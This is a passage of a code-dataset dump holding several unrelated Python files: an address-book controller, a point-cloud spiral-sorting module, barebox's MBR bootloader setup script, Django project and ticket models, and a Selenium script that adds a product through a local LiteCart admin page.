self.__operations[:self.__index+1]\n self.__operations.append(UpdateOperation(oldPerson, newPerson))\n self.__index += 1\n\n\n def update_person_address(self, person, address):\n '''\n Updates address of a person.\n :param person: Person to be updated\n :param address: new address for that person\n :return: person is updated\n :exception NABException: if one of the parameters is not valid or no person was found\n '''\n\n if person not in self.__personRepo:\n raise NABException(\"There's no such person in the list.\")\n\n oldPerson = deepcopy(person)\n person.address = address\n newPerson = deepcopy(person)\n\n self.__operations[:] = self.__operations[:self.__index+1]\n self.__operations.append(UpdateOperation(oldPerson, newPerson))\n self.__index += 1\n\n\n def undo(self):\n '''\n Undoes the last operation that modified the repositories.\n :return: repositories are modified accordingly\n :exception NABException: if no undo is possible\n '''\n\n if self.__index == -1:\n raise NABException(\"# There's nothing to undo.\\n\")\n\n lastOperation = self.__operations[self.__index]\n\n if type(lastOperation) == AddOperation:\n self.__personRepo.remove_by_id(lastOperation.object().id)\n elif type(lastOperation) == RemoveOperation:\n self.__personRepo.add(lastOperation.object())\n elif type(lastOperation) == UpdateOperation:\n person = self.__personRepo.find_by_id(lastOperation.new().id)\n person.name = lastOperation.old().name\n person.address = lastOperation.old().address\n person.phone = lastOperation.old().phone\n else:\n raise NABException(\"# Not an undoable operation.\\n\")\n\n self.__index -= 1\n\n\n def redo(self):\n '''\n Redoes the last undo.\n :return: repositories are modified accordingly\n :exception NABException: if no redo is possible\n '''\n\n if self.__index+1 == len(self.__operations):\n raise NABException(\"# There's nothing to redo.\\n\")\n\n self.__index += 1\n lastOperation = self.__operations[self.__index]\n\n if type(lastOperation) == AddOperation:\n self.__personRepo.add(lastOperation.object())\n elif type(lastOperation) == RemoveOperation:\n self.__personRepo.remove_by_id(lastOperation.object().id)\n elif type(lastOperation) == UpdateOperation:\n person = self.__personRepo.find_by_id(lastOperation.old().id)\n person.name = lastOperation.new().name\n person.address = lastOperation.new().address\n person.phone = lastOperation.new().phone\n else:\n raise NABException(\"# Not a redoable operation.\\n\")\n\n\n def find_person_by_id(self, id):\n '''\n Returns the person from the current list with the indicated ID.\n :param id: positive integer - ID of a person\n :return: Person - the person with the ID id\n :exception NABException: if one of the parameters is not valid or no person with the given ID was found\n '''\n\n return self.__personRepo.find_by_id(id)\n\n\n def find_people_by_name(self, name):\n '''\n Returns a PersonRepository which contains only people with the indicated substring as part of their name.\n :param name: string - name to find people\n :return: PersonRepository - people with the indicated substring as part of their name\n :exception NABException: if one of the parameters is not valid\n '''\n\n return self.__personRepo.find_by_name(name)\n\n\n def find_people_by_address(self, address):\n '''\n Returns a PersonRepository which contains only people with the indicated substring as part of their address.\n :param address: string - address to find people\n :return: PersonRepository - people with the indicated substring as part of their address\n :exception NABException: if one of the parameters is not valid\n '''\n\n return self.__personRepo.find_by_address(address)\n\n\n def find_people_by_phone(self, phone):\n '''\n Returns a PersonRepository which contains only people with the indicated substring as part of their phone number.\n :param phone: string - phone number to find people\n :return: PersonRepository - people with the indicated substring as part of their phone number\n :exception NABException: if one of the parameters is not valid\n '''\n\n return self.__personRepo.find_by_phone(phone)\n\n\n def people_to_string(self):\n '''\n Returns a string representing the list of people in their short representation.\n :return: string - list of people or \"None\" if the list is empty\n '''\n\n return str(self.__personRepo)","sub_path":"sem1/fp/labs/lab12-13/NABManagement/controller/PeopleController.py","file_name":"PeopleController.py","file_ext":"py","file_size_in_byte":8425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"550284848","text":"\"\"\"\ninfo:\n file : core.py\n author : Thanasis Mattas\n license : GNU General Public License v3\n description : Usually, does some spiralsorting stuff\n\nSpiralSort is free software; you may redistribute it and/or modify it\nunder the terms of the GNU General Public License as published by the\nFree Software Foundation, either version 3 of the License, or (at your\noption) any later version. You should have received a copy of the GNU\nGeneral Public License along with this program. If not, see\n.\n\"\"\"\n\n\nimport numpy as np\nimport pandas as pd\n\nfrom spiralsort import utilities as util\n\n\ndef master_offset(nodes, master_node_id):\n \"\"\"offsets all nodes, so that master_node becomes the origin\"\"\"\n master_index = nodes.loc[nodes.node_id == master_node_id].index[0]\n nodes.x = nodes.x - nodes.loc[master_index, \"x\"]\n nodes.y = nodes.y - nodes.loc[master_index, \"y\"]\n nodes.z = nodes.z - nodes.loc[master_index, \"z\"]\n return nodes\n\n\ndef distances_from_node(nodes, node):\n \"\"\"evaluates the distances (norm I2) of nodes from node\n\n Args:\n nodes (df) : has node_id, x, y, z columns\n node (df)\n\n Returns:\n distances (array)\n \"\"\"\n distances = np.sqrt(\n (nodes.x - node.x) ** 2\n + (nodes.y - node.y) ** 2\n + (nodes.z - node.z) ** 2\n )\n return distances\n\n\ndef prev_node_gradient(prev_node):\n \"\"\"returns the angle of the prev_node vector from the 0x axis\n\n this is the angle that the point cloud will be rotated, in order to\n filter the counterclockwise side of the prev_node vector\n\n Args:\n prev_node (df) : columns: [\"node_id\", 'x', 'y', 'z', ...]\n\n Returns:\n theta (float) : the gradient of the prev_node in radians\n \"\"\"\n if ((prev_node.x < 0.001) and (prev_node.x > -0.001)\n and (prev_node.y >= 0)):\n theta = np.pi / 2\n elif ((prev_node.x < 0.001) and (prev_node.x > -0.001)\n and (prev_node.y < 0)):\n theta = - np.pi / 2\n elif prev_node.x >= 0.001:\n theta = np.arctan(prev_node.y / prev_node.x)\n # elif prev_node.iloc[0].x <= -0.001:\n else:\n theta = np.arctan(prev_node.y / prev_node.x) + np.pi\n return theta\n\n\ndef z_rotation(nodes, prev_node):\n \"\"\"2D rotation on z axis (linear transformation), such as prev_node\n will fall on the 0x axis\n\n transformation matrix:\n\n | cos(theta) sin(theta)|\n |-sin(theta) cos(theta)|\n\n theta > 0 : clockwise\n theta < 0 : counterclockwise\n\n Args:\n nodes (df) : the point cloud\n prev_node (df) : the node that will fall on the 0x axis\n\n Returns:\n rotated (df) : the point cloud after the rotation\n \"\"\"\n theta = prev_node_gradient(prev_node)\n rotated = nodes.copy()\n rotated.x = np.cos(theta) * nodes.x + np.sin(theta) * nodes.y\n rotated.y = - np.sin(theta) * nodes.x + np.cos(theta) * nodes.y\n return rotated\n\n\ndef counterclockwise_filter(nodes, prev_node):\n \"\"\"The goal is to force the algorithm to rotate anti-clockwise.\n Rotating the nodes, so that the vector of prev_node becomes the 0x\n axis, we keep only nodes with positive y, to find the next node from.\n\n Args:\n nodes (df) : the point cloud\n prev_node (df) : the last popped node\n\n Returns:\n (index) : the indexes of the filtered nodes\n \"\"\"\n nodes_rotated = z_rotation(nodes, prev_node)\n nodes_filtered_index = nodes_rotated[nodes_rotated.y > 0].index\n\n # don't counterclockwise filter if prev_node is the master_node\n # or no nodes are left after the filter\n if len(nodes_filtered_index):\n return nodes_filtered_index\n else:\n return nodes.index\n\n\ndef cost(nodes, prev_node):\n \"\"\"|node - master| + |node - prev_node|\n\n Args:\n nodes (df) : the point cloud\n prev_node (df) : the node from which to calculate the cost\n\n Returns:\n cost_ (series) : the cost column, to be inserted to the df\n \"\"\"\n cost_ = nodes[\"|node - master|\"].add(\n distances_from_node(nodes, prev_node)\n )\n return cost_\n\n\ndef cost_sort(nodes, prev_node, ignore_index=True):\n \"\"\"sorts the nodes by cost from prev_node\n\n cost = |node - master| + |node - prev_node|\n\n Args:\n nodes (df) : the point cloud\n prev_node (df) : the node from which to calculate the cost\n ignore_index (bool) : whether to keep or reset the old index\n (default True)\n\n Returns:\n nodes (df) : the point cloud, cost-sorted\n \"\"\"\n with pd.option_context(\"mode.chained_assignment\", None):\n nodes.loc[:, \"cost\"] = cost(nodes, prev_node)\n nodes.sort_values(\"cost\", inplace=True, kind=\"mergesort\",\n na_position=\"first\", ignore_index=ignore_index)\n return nodes\n\n\ndef pop_next_node(nodes, prev_node):\n \"\"\"\n 1. evaluate cost\n 2. pop the next_node (the one with the min cost)\n\n Args:\n nodes (df) : the point cloud\n prev_node (df) : the last popped node\n\n Returns:\n nodes (df) : the point cloud, without the currently\n popped node\n next_node_id (str)\n next_node (series)\n \"\"\"\n nodes_filtered = nodes.loc[counterclockwise_filter(nodes, prev_node)]\n\n # 1. evaluate cost\n nodes_filtered.loc[:, \"cost\"] = cost(nodes_filtered, prev_node)\n\n # 2. pop the next_node\n next_node_idx = nodes_filtered[\"cost\"].idxmin()\n next_node = nodes_filtered.loc[next_node_idx]\n next_node_id = next_node.node_id\n nodes = nodes[~nodes.index.isin([next_node.name])]\n return nodes, next_node_id, next_node\n\n\ndef spiral_stride(nodes,\n node_ids,\n prev_node,\n spiral_window,\n stride):\n \"\"\"moves one stride inside the spiral_window, iteretively popping\n nodes with respect to the min cost\n\n Args:\n nodes (df) : the nodes batch that the algorithm is\n woring on\n node_ids (list) : the so far spiral-sorted list of node_ids\n prev_node (df) : the last sorted (popped) node\n spiral_window (int) : the window of nodes that the algorithm\n will iteretively search for the next node\n stride (int) : the number of nodes to be sorted, before\n moving to the next spiral_window\n\n Returns:\n nodes (df) : the initially nodes batch, without the\n nodes popped at this stride\n node_ids (list) : the so far spiral-sorted list of node_ids\n updated with the nodes popped at this\n stride\n prev_node (df) : the last popped node at this stride\n \"\"\"\n # keep a temp node_ids list, not to search through the whole list\n node_ids_inner = []\n\n # for the first 1000 nodes dont filter the counterclockwise side\n # nodes, to prevent from oscilating on a lobe (half spherical disk)\n if len(node_ids) <= 1000:\n nodes_filtered = nodes[slice(0, spiral_window)]\n else:\n nodes_filtered = nodes.loc[counterclockwise_filter(nodes, prev_node)]\n nodes_filtered = cost_sort(nodes, prev_node)\n nodes_filtered = nodes_filtered[slice(0, spiral_window)]\n\n iters = min(stride, len(nodes_filtered.index))\n\n for _ in range(iters):\n nodes_filtered, prev_node_id, prev_node = pop_next_node(\n nodes_filtered,\n prev_node\n )\n node_ids_inner.append(prev_node_id)\n\n # drop node_ids_inner from nodes remainder\n nodes = nodes[~nodes.node_id.isin(node_ids_inner)]\n\n # update node_ids\n node_ids += node_ids_inner\n\n return nodes, node_ids, prev_node\n\n\ndef check_duplicated_ids(nodes):\n \"\"\"check node_ids uniqueness\"\"\"\n duplicated_ids = nodes[nodes.node_id.duplicated()].node_id.to_list()\n if duplicated_ids:\n raise Exception(\"node_id column has duplicated entries: {}\"\n .format(duplicated_ids))\n\n\ndef spiralsort(nodes, master_node_id):\n \"\"\"spiral-sorting the node-cloud, starting from the master node\n\n Spiral-sorting algorithm:\n 1. Sort the point cloud with respect to the distance from the master\n node and segment it into slices.\n 2. Take the first slice (2000 nodes\n 3. Take a SPIRAL_WINDOW (slice further)\n Spiral windows for the 1st slice consist of 300 nodes, starting\n from the last sorted node (the master_node for the 1st window)\n 4. Iteretively pop 20 nodes (a stride), by the minimum cost.\n (cost = |node - master_node| + |node - prev_node|)\n Take the next SPIRAL_WINDOW and pop the next 10 nodes.\n Continue until the remainder of the nodes reaches the size of the\n half slice (1000 nodes for the 1st slice).\n 5. Merge the remaining nodes with the next slice\n (This overlap of the slices ensures that there is a continuity\n while selecting the next nodes when the algorithm reaches the\n last nodes of the slice)\n 6. For the next slices, a filter is applied, which keeps only nodes\n from the counterclockwise side of the vector starting from the\n master node and ending at the previous node,in order to force the\n algorithm to move to a constant rotation direction\n 7. Keep moving by SPIRAL_WINDOWs (or strides), counterclockwise\n filtering at each stride, popping 10s of nodes until the half\n slice thresshold\n 8. Upon reaching the last slice, remove the half_slice threshold, to\n pop all the remaining nodes.\n\n Args:\n nodes (df) : the box_nodes (without the bar_nodes)\n master_node_id (str) : the node on the box surface where the\n deformation starts\n\n Returns:\n nodes_sorted (df) : the nodes spiral-sorted, starting from\n the master node\n \"\"\"\n # first, check if the node_ids are unique\n check_duplicated_ids(nodes)\n\n # final sequence of ids, used to sort the final dataframe,\n # initialized with the master node\n node_ids = [master_node_id]\n\n # make master_node the origin of the axes\n nodes = master_offset(nodes, master_node_id)\n\n # initialize previous node with the master node (series)\n master_node = nodes.loc[nodes[\"node_id\"] == master_node_id]\n prev_node = master_node.iloc[0]\n\n # drop master node\n nodes.drop(master_node.index, inplace=True)\n\n # distance of all nodes from the master node\n nodes[\"|node - master|\"] = distances_from_node(nodes, prev_node)\n\n # distance-sort from master_node\n nodes.sort_values(\"|node - master|\", inplace=True, kind=\"mergesort\",\n ignore_index=True)\n\n # segment nodes into slices, not to work on the whole df\n # [\n # [0, 2000], [2000, 6000], [6000, 14000], [14000, 30000],\n # [30000, 62000], [62000, 94000], [94000, 126000], ...\n # ]\n slices = util.create_slices(nodes)\n\n # number of nodes anti-clockwise filtered and cost_sorted from prev\n # node, in order to iteretively pop the next nodes in the STRIDE\n SPIRAL_WINDOW = 400\n STRIDE = 15\n\n # this is the container that the sorting algorithm will work with\n remaining_nodes = pd.DataFrame(columns=nodes.columns)\n\n for idx, slicing_obj in enumerate(slices):\n\n # moving to more distant slices, spiral_window gets bigger, as\n # the nodes are more spread out away from the master node\n spiral_window = int(SPIRAL_WINDOW + 100 * idx)\n\n # Concat with the remainder of the nodes (which is the half of\n # the previous slice), in order to have continuity.\n # (For example, previous to last node will only have the last\n # remaining node to find the next cost-sorted node, which is\n # not correct, because there are other candidates, not included\n # in the current slice.)\n remaining_nodes = pd.concat([remaining_nodes, nodes[slicing_obj]])\n\n half_slice = util.calc_half_slice(slicing_obj)\n\n # leave half_slice remaining nodes to merge with the next slice\n # except from the last slice\n if (slicing_obj in slices[: -1]) and (len(slices) > 1):\n spiral_iters = (len(remaining_nodes.index) - half_slice) // STRIDE\n else:\n spiral_iters = len(remaining_nodes.index) // STRIDE\n\n for _ in range(spiral_iters):\n remaining_nodes, node_ids, prev_node = spiral_stride(\n remaining_nodes,\n node_ids,\n prev_node,\n spiral_window,\n STRIDE\n )\n\n # return master node to nodes\n nodes = pd.concat([master_node, nodes])\n # reorder nodes with respect to the spiral-sorted node_ids\n node_ids = pd.DataFrame({\"node_id\": node_ids})\n nodes_sorted = node_ids.merge(nodes, on=\"node_id\") \\\n .loc[:, [\"node_id\", 'x', 'y', 'z']] \\\n .reset_index(drop=True, inplace=False)\n\n return nodes_sorted\n","sub_path":"spiralsort/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":13216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"45071101","text":"# Copyright (C) 2009 Juergen Beisert, Pengutronix\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation; either version 2 of\n# the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA 02111-1307 USA\n#\n\n#\n# @file\n# @brief Write the barebox binary to the MBR and the following disk sectors\n#\n# Also patch dedicated locations in the image to make it work at runtime\n#\n# Current restrictions are:\n# - only installs into MBR and the sectors after it\n# - tested only with QEMU\n# - and maybe some others\n#\n\nimport os.path\n\nscript_path = os.path.dirname(__file__)\n\ndef values2string(values):\n import sys\n if sys.version_info[0]==2:\n return \"\".join(map(chr, values))\n else:\n return bytes(values)\n\ndef populate_globals_from_header(header_file):\n f = open(header_file, \"r\")\n for line in f.readlines():\n line = line.strip()\n if line.startswith(\"#define\"):\n (variable, value) = line[len(\"#define\"):].strip().split(\" \")\n globals()[variable] = eval(value)\n\npopulate_globals_from_header(os.path.join(script_path, \"barebox.lds.h\"))\n\nclass Field(object):\n def __init__(self, start, size):\n self.start = start\n self.size = size\n\n def __get__(self, instance, owner):\n start = instance.start_offset + self.start\n values = instance.array[start:start+self.size]\n powers = range(len(values))\n powers = map(lambda x: 256**x, powers)\n summands = map(int.__mul__, values, powers)\n return sum(summands)\n\n def __set__(self, instance, value):\n if value >= 2**(self.size*8):\n raise ValueError(\"%u does not fit in this field\" % value)\n powers = []\n while value!=0:\n powers.append( int(value % 256) )\n value /= 256\n powers.extend( self.size*[0] )\n start = instance.start_offset + self.start\n\n instance.array[start:start+self.size] = values2string(powers[0:self.size])\n\nclass ClassWithLength(type):\n def __len__(self):\n return self.clslength()\n\nclass StructTemplate(object, metaclass=ClassWithLength):\n #__metaclass__ = ClassWithLength\n\n @classmethod\n def clslength(cls):\n len = 0\n for attr in cls.__dict__.values():\n if isinstance(attr, Field):\n len += attr.size\n return len\n\n def __len__(self):\n return len(self.__class__)\n\nclass DAPS(StructTemplate):\n def __init__(self, array, start_offset):\n self.array = array\n self.start_offset = start_offset\n\n size = Field(0, 1)\n res1 = Field(1, 1)\n count = Field(2, 1)\n res2 = Field(3, 1)\n offset = Field(4, 2)\n segment = Field(6, 2)\n lba = Field(8, 8)\n\nclass Partition(StructTemplate):\n def __init__(self, array, start_offset):\n self.array = array\n self.start_offset = start_offset\n\n boot_indicator = Field(0, 1)\n chs_begin = Field(1, 3)\n type = Field(4, 1)\n chs_end = Field(5, 3)\n partition_start = Field(8, 4)\n partition_size = Field(12, 4)\n\ndef target2host_32(value):\n return value\n\ndef host2target_16(value):\n return value\n\ndef host2target_64(value):\n return value\n\nclass SetupMbrError:\n pass\n\ndef fill_daps(sector, count, offset, segment, lba):\n assert count < 128\n assert offset < 0x10000\n assert segment < 0x10000\n\n sector.size = len(sector)\n sector.res1 = 0\n sector.count = count\n sector.res2 = 0\n sector.offset = host2target_16(offset)\n sector.segment = host2target_16(segment)\n sector.lba = host2target_64(lba)\n\n return True\n\ndef invalidate_daps(sector):\n sector.size = MARK_DAPS_INVALID\n sector.res1 = 0\n\ndef barebox_linear_image(hd_image, daps_table, size):\n offset = LOAD_AREA\n segment = LOAD_SEGMENT\n i = 0\n lba = 2\n\n size -= 2 * SECTOR_SIZE\n size = (size + SECTOR_SIZE - 1) & ~(SECTOR_SIZE - 1)\n\n if (size >= (SECTOR_SIZE / len(DAPS) - 1) * 32 * 1024):\n print(\"Image too large to boot. Max size is %u kiB, image size is %u kiB\" %\n ((SECTOR_SIZE / len(DAPS) - 1) * 32, size / 1024)\n )\n return False\n\n if size > 32 * 1024:\n next_offset = (offset + 32 * 1024 -1) & ~0x7fff\n chunk_size = next_offset - offset\n if chunk_size & (SECTOR_SIZE-1):\n print(\"Unable to pad from %X to %X in multiple of sectors\" % (offset, next_offset))\n return False\n\n rc = fill_daps(DAPS(hd_image, daps_table+i*len(DAPS)), chunk_size / SECTOR_SIZE, offset, segment, lba)\n if not rc:\n print(\"Couldn't fill the DAPS\")\n return False\n\n size -= chunk_size\n i += 1\n lba += chunk_size / SECTOR_SIZE\n offset += chunk_size\n if offset >= 0x10000:\n segment += 4096\n offset = 0\n\n while size:\n if size >= 32 * 1024:\n if i >= (SECTOR_SIZE / len(DAPS)):\n print(\"Internal tool error: Too many DAPS entries!\")\n return False\n rc = fill_daps(DAPS(hd_image, daps_table+i*len(DAPS)), 64, offset, segment, lba)\n if not rc:\n return False\n \n size -= 32 * 1024\n lba += 64\n offset += 32 * 1024\n if offset >= 0x10000:\n segment += 4096\n offset = 0\n i += 1\n else:\n if i >= SECTOR_SIZE / len(DAPS):\n print(\"Internal tool error: Too many DAPS entries!\")\n return False\n rc = fill_daps(DAPS(hd_image, daps_table+i*len(DAPS)), size / SECTOR_SIZE, offset, segment, lba)\n if not rc:\n return False\n size = 0\n i += 1\n else:\n rc = fill_daps(DAPS(hd_image, daps_table+i*len(DAPS)), size / SECTOR_SIZE, offset, segment, lba)\n if not rc:\n return False\n i += 1\n\n if i >= (SECTOR_SIZE / len(DAPS)):\n return True\n\n # mark the last DAPS invalid\n invalidate_daps( DAPS(hd_image, daps_table + i*len(DAPS)) )\n\n return True\n\ndef check_for_valid_mbr(sector, size):\n if size < SECTOR_SIZE:\n print(\"MBR too small to be valid\")\n return False\n if (sector[OFFSET_OF_SIGNATURE] != 0x55) or \\\n (sector[OFFSET_OF_SIGNATURE+1] != 0xAA):\n print(\"No MBR signature found\")\n return False\n return True\n\ndef check_for_space(hd_image, size):\n if not check_for_valid_mbr(hd_image, size):\n return False\n\n partition = Partition(hd_image, OFFSET_OF_PARTITION_TABLE)\n\n spare_sector_count = target2host_32( partition.partition_start )\n\n print(\"Debug: Required free sectors for barebox prior first partition: %u, hd image provides: %u\" % (\n (size + SECTOR_SIZE - 1) / SECTOR_SIZE,\n spare_sector_count))\n\n spare_sector_count *= SECTOR_SIZE\n if spare_sector_count < size:\n print(\"Not enough space after MBR to store minibox\")\n print(\"Move begin of the first partition beyond sector %u\" % ((size + SECTOR_SIZE - 1) / SECTOR_SIZE))\n return False\n return True\n\ndef barebox_overlay_mbr(fd_barebox, fd_hd):\n import mmap, os\n sb = os.fstat(fd_barebox.fileno())\n barebox_image = mmap.mmap(fd_barebox.fileno(), 0, access=mmap.ACCESS_READ)\n\n check_for_valid_mbr(barebox_image, sb.st_size)\n\n required_size = sb.st_size\n hd_image = mmap.mmap(fd_hd.fileno(), required_size, access=mmap.ACCESS_WRITE)\n\n check_for_space(hd_image, required_size)\n\n # embed barebox's boot code into the disk drive image\n hd_image[0:OFFSET_OF_PARTITION_TABLE] = barebox_image[0:OFFSET_OF_PARTITION_TABLE]\n\n\t# embed the barebox main image into the disk drive image,\n\t# but keep the persistant environment storage untouched\n\t# (if defined), e.g. store the main image behind this special area.\n hd_image_start = SECTOR_SIZE\n barebox_image_start = SECTOR_SIZE\n size = sb.st_size - SECTOR_SIZE\n hd_image[hd_image_start:hd_image_start+size] = barebox_image[barebox_image_start:barebox_image_start+size]\n\n embed = PATCH_AREA\n indirect = SECTOR_SIZE\n\n fill_daps(DAPS(hd_image, embed), 1, INDIRECT_AREA, INDIRECT_SEGMENT, 1)\n\n rc = barebox_linear_image(hd_image, indirect, sb.st_size)\n if not rc:\n return False\n\n hd_image.close()\n barebox_image.close()\n\ndef main(argv):\n from optparse import OptionParser\n parser = OptionParser()\n parser.add_option(\"-m\", dest=\"barebox_image_filename\",\n help=\"\")\n parser.add_option(\"-d\", dest=\"hd_image_filename\",\n help=\"\")\n\n (options, args) = parser.parse_args(argv)\n\n fd_barebox_image = open(options.barebox_image_filename, \"r+b\")\n fd_hd_image = open(options.hd_image_filename, \"a+b\")\n\n barebox_overlay_mbr(fd_barebox_image, fd_hd_image)\n\n fd_barebox_image.close()\n fd_hd_image.close()\n\nif __name__==\"__main__\":\n import sys\n main(sys.argv[1:])\n","sub_path":"setupmbr.py","file_name":"setupmbr.py","file_ext":"py","file_size_in_byte":9514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"611722868","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django import forms\nfrom django.forms import ModelForm\nfrom django.shortcuts import get_object_or_404, redirect\n\nclass Project(models.Model):\n\tname = models.CharField(max_length = 20)\n\tdescription = models.CharField(max_length = 200)\n\tstart_date = models.DateField()\n\tend_date = models.DateField()\n\towner = models.ForeignKey(User, related_name=\"projects_owner\")\n\tusers = models.ManyToManyField(User, related_name=\"projects_users\")\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tdef user_can_manage(self, owner):\n\t\treturn owner == self.owner \n\n\t@classmethod\n\tdef get_manageable_object_or_404(cls, user, *args, **kwds):\n\t\titem = get_object_or_404(cls, *args, **kwds)\n\t\tif not item.user_can_manage(user):\n\t\t\treturn False\n\t\treturn item\n\n\tdef user_can_see(self, users):\n\t\treturn self.users.filter(id=users.id).exists()\n\n\t@classmethod\n\tdef get_showable_object_or_404(cls, user, *args, **kwds):\n\t\titem = get_object_or_404(cls, *args, **kwds)\n\t\tif not item.user_can_see(user):\n\t\t\treturn False\n\t\treturn item\n\n\tclass Meta:\n\t\tpermissions = (\n\t\t\t(\"can_add_projects_web\", \"Can add projects through the web\"),\n\t\t)\n\nclass Status(models.Model):\n\tstatus = models.CharField(max_length = 20)\n\n\tdef __unicode__(self):\n\t\treturn self.status\n\nclass Ticket(models.Model):\n\tname = models.CharField(max_length = 20)\n\tdescription = models.CharField(max_length = 200)\n\tstatus = models.ForeignKey(Status, related_name=\"tickets_status\")\n\tproject = models.ForeignKey(Project, related_name=\"tickets_project\")\n\towner = models.ForeignKey(User, related_name=\"tickets_owner\")\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tdef user_can_manage(self, owner):\n\t\treturn owner == self.owner \n\n\t@classmethod\n\tdef get_manageable_object_or_404(cls, user, *args, **kwds):\n\t\titem = get_object_or_404(cls, *args, **kwds)\n\t\tif not item.user_can_manage(user):\n\t\t\treturn False\n\t\treturn item\n\t\t\n\tclass Meta:\n\t\tpermissions = (\n\t\t\t(\"can_add_tickets_web\", \"Can add tickets through the web\"),\n\t\t)\n\nclass TicketForm(forms.ModelForm):\n\tstatus = forms.ModelChoiceField(queryset=Status.objects.all())\n\tclass Meta:\n\t\tmodel = Ticket\n\t\texclude = ('owner', 'project')\n\t\t\nclass LoginForm(forms.Form):\n\t username = forms.CharField(max_length = 30)\n\t password = forms.CharField(max_length = 128, widget=forms.PasswordInput)\n\n\n\n\n\nclass ProjectForm(ModelForm):\n\tdef __init__(self, user_id, *args, **kwargs):\n\t\tsuper(ProjectForm, self).__init__(*args, **kwargs)\n\t\tself.fields['users'].queryset = \\\n\t\tUser.objects.exclude(id = user_id)\n\tclass Meta:\n\t\tmodel = Project\n\t\texclude = ('owner_id')","sub_path":"Projectmanager/project_manager/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"27476009","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport os\n\n\n# 'General' tab\ndef general_tab(driver):\n # set Status to Enable\n driver.find_element_by_css_selector(\"div#tab-general input[name=status]\").click()\n # input Name = \"test product\"\n driver.find_element_by_css_selector(\"div#tab-general input[name='name[en]']\").send_keys(\"test product\")\n # enter Code = \"12345\"\n driver.find_element_by_css_selector(\"div#tab-general input[name=code]\").send_keys(\"12345\")\n # uncheck Root and check \"Rubber Ducks\" category\n driver.find_element_by_css_selector(\"div#tab-general input[data-name=Root]\").click()\n driver.find_element_by_css_selector(\"div#tab-general input[data-name='Rubber Ducks']\").click()\n # select \"Rubber Ducks\" in Default Category select\n select = Select(driver.find_element_by_name(\"default_category_id\"))\n select.select_by_visible_text(\"Rubber Ducks\")\n # check Gender to \"Unisex\"\n driver.find_element_by_css_selector(\"div#tab-general input[name='product_groups[]'][value='1-3']\").click()\n # set Quantity to 12\n quantity = driver.find_element_by_css_selector(\"div#tab-general input[name=quantity]\")\n ActionChains(driver).move_to_element(quantity).double_click(quantity).perform()\n quantity.send_keys(\"12\")\n ActionChains(driver).move_by_offset(120,120).click().perform()\n # Upload Images from the current directory\n cwd = os.getcwd()\n path = cwd + \"/ball.png\"\n driver.find_element_by_css_selector(\"div#tab-general input[name='new_images[]']\").send_keys(path)\n # set Date Valid From to \"15.11.2016\"\n driver.find_element_by_css_selector(\"div#tab-general input[name=date_valid_from]\").send_keys(\"15.11.2016\")\n # set Date Valid To to \"15.12.2017\"\n driver.find_element_by_css_selector(\"div#tab-general input[name=date_valid_to]\").send_keys(\"15.12.2017\")\n\n\ndef information_tab(driver):\n # select the last element in Manufacturer select\n select = Select(driver.find_element_by_css_selector(\"div#tab-information [name=manufacturer_id]\"))\n select.select_by_index(len(select.options)-1)\n # select the last element in Supplier select\n select = Select(driver.find_element_by_css_selector(\"div#tab-information [name=supplier_id]\"))\n select.select_by_index(len(select.options)-1)\n # input Keyword\n driver.find_element_by_css_selector(\"div#tab-information [name=keywords]\").send_keys(\"test keyword\")\n # enter text \"small ball\" to Short Description\n driver.find_element_by_css_selector(\"div#tab-information [name='short_description[en]']\").send_keys(\"small ball\")\n # enter text to Description text area\n driver.find_element_by_css_selector(\"div#tab-information span.input-wrapper \"\n \"div.trumbowyg-editor\").send_keys(\"This is a ball\")\n # input Head Title\n driver.find_element_by_css_selector(\"div#tab-information [name='head_title[en]']\").send_keys(\"Color Ball\")\n # input Meta Description\n driver.find_element_by_css_selector(\"div#tab-information [name='meta_description[en]']\").send_keys(\"meta\")\n\n\ndef prices_tab(driver):\n # set Purchase Price to 5 US Dollars\n purchase = driver.find_element_by_css_selector(\"div#tab-prices input[name=purchase_price]\")\n ActionChains(driver).move_to_element(purchase).click().send_keys(Keys.UP * 5).perform()\n select = Select(driver.find_element_by_name(\"purchase_price_currency_code\"))\n select.select_by_visible_text(\"US Dollars\")\n # set Price to 5 USD\n driver.find_element_by_css_selector(\"div#tab-prices input[name='prices[USD]']\").send_keys(\"50\")\n\n\n# main part\ndriver = webdriver.Chrome()\ndriver.get(\"http://localhost/litecart/admin/\")\ndriver.find_element_by_name(\"username\").send_keys(\"admin\")\ndriver.find_element_by_name(\"password\").send_keys(\"admin\")\ndriver.find_element_by_name(\"login\").click()\n\n# open Catalog menu\ndriver.find_element_by_css_selector(\"#box-apps-menu a[href$=catalog]\").click()\n\n# click on \"Add New Product\" button\ndriver.find_element_by_css_selector(\"td#content a[href$=edit_product]\").click()\n\n# fill General tab\ngeneral_tab(driver)\n\n# open Information tab\ndriver.find_element_by_css_selector(\"td#content div.tabs ul.index a[href$=tab-information]\").click()\nWebDriverWait(driver, 10)\n# fill Information tab\ninformation_tab(driver)\n\n# open Prices tab\ndriver.find_element_by_css_selector(\"td#content div.tabs ul.index a[href$=tab-prices]\").click()\nWebDriverWait(driver, 10)\n# fill Prices tab\nprices_tab(driver)\n\n# press Save button\ndriver.find_element_by_css_selector(\"td#content span.button-set [name=save]\").click()\nWebDriverWait(driver, 10)\n\n# verify that the added product 